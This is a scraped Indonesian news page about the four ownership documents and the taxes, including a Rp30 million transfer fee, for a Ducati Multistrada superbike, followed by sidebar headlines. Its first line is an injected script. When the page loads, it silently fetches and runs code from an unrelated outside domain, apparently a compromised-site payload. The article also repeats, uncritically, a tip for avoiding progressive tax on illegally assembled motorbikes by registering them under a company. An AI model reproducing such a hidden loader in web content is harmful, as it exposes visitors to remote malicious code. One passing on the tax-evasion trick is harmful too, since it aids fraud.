(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Otomotif

Begini Kelengkapan Dokumen Moge Ducati, Bea Balik Nama Tembus Rp30 Juta


KANALKALIMANTAN.COM – Beberapa orang penasaran apa saja sih kelengkapan dokumen pemilik moge. Pemilik akun Facebook bernama Ranggie Ragatha kini membeberkan semuanya.

Menurut pengalamannya, ternyata terdapat 4 dokumen penting yang wajib dimiliki untuk pemilik moge.

BPKB moge Ducati Multistrada. Foto: Facebook

Ia menceritakan kalau dirinya memiliki moge Ducati Multistrada. Keempat dokumen ketika membeli moge tersebut terdiri dari BPKB, Form A (Surat Keterangan Impor), Faktur Pembelian, dan STNK.

 

 

Baca juga: Satgas Waspada Investasi Setop Operasional 3.365 Pinjol Ilegal

Biasanya, untuk motor lokal hanya terdiri dari 3 surat saja yakni BPKB, STNK, dan Faktur Pembelian. Namun pada moge Ducati Multistrada miliknya tambah satu, yakni Form A.

Ia menceritakan kalau biasanya pihak dealer mengurus semua dokumen tersebut. Namun jika melewati Importir Umum, biasanya mengurus surat-suratnya sendiri.

STNK moge Ducati Multistrada. Foto: Facebook

Form A Ducati Multistrada. Foto: Facebook

Rata-rata butuh waktu beberapa bulan sampai satu tahun hingga semua dokumen keluar. Ia juga menceritakan jika membeli moge ilegal, ternyata beberapa komponen motor dipreteli.

Lalu ketika semua komponen tersebut sudah sampai di Indonesia, barulah dirakit.

Mengenai pajak motor ilegal hasil rakitan sendiri, ternyata bisa diakali dengan menggunakan nama perusahaan dengan alasan agar tidak kena pajak progresif.

Ia pun curhat mengenai pajak tahunan untuk moge Ducati Multistrada. Pajaknya ternyata hanya Rp 4 juta saja lho.

Namun untuk biaya BBN-KB ternyata malah tembus di angka Rp 30 jutaan.

Baca juga: KABAR BAIK. Pasien Sembuh Covid-19 di Banjarbaru Hari Ini Capai 245 Orang

BBN-KB kepanjangannya adalah Bea Balik Nama Kendaraan Bermotor. Ini adalah biaya yang dibebankan untuk perubahan kepemilikan dan pergantian kepemilikan kendaraan dari satu ke pemilik yang lainnya.

Curhatan ini pun viral di media sosial dan mendapatkan respons dari warganet di kolom komentar.

“Liat pajaknya ginjal sya jdi goyang dikit saking kagetnya,” tulis salah seorang warganet.

“Satu tahun pajak = 2 motor mber bekas,” beber warganet lain. (Suara.com)

Editor : kk


Risa

Recent Posts

Pascabanjir TurunTangan Banjarmasin – UPZ Bakti Bersama Salurkan Bantuan ke Masjid

KANALKALIMANTAN.COM, PARINGIN — Banjir bandang di Kecamatan Tebing Tinggi, Kabupaten Balangan, beberapa waktu lalu tak… Read More

2 jam ago

Mantan Kajari HSU Ajukan Praperadilan, KPK Siap Ladeni Gugatan

KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menyatakan siap menghadapi gugatan praperadilan yang diajukan mantan… Read More

6 jam ago

Hari Gizi Nasional 2026 “Sehat Dimulai dari Piringku”

KANALKALIMANTAN.COM - Hari Gizi Nasional yang diperingati setiap tanggal 25 Januari merupakan momentum penting dalam… Read More

9 jam ago

Wali Kota Yamin akan Tindak Pemilik Ruko yang Tidak Merawat Drainase

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin H Muhammad Yamin HR menegaskan akan menindak pemilik Ruko… Read More

1 hari ago

Ketua DPRD Kalsel Sampaikan Tuntutan Mahasiswa ke Senayan

KANALKALIMANTAN.COM, JAKARTA — Ketua DPRD Kalimantan Selatan (Kalsel), H Supian HK menyampaikan tuntutan mahasiswa dari… Read More

1 hari ago

275 ASN Pemko Banjarmasin Pensiun di 2025

KANALKALIMANTAN.COM, BANJARMASIN — Sebanyak 275 Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin… Read More

1 hari ago

This website uses cookies.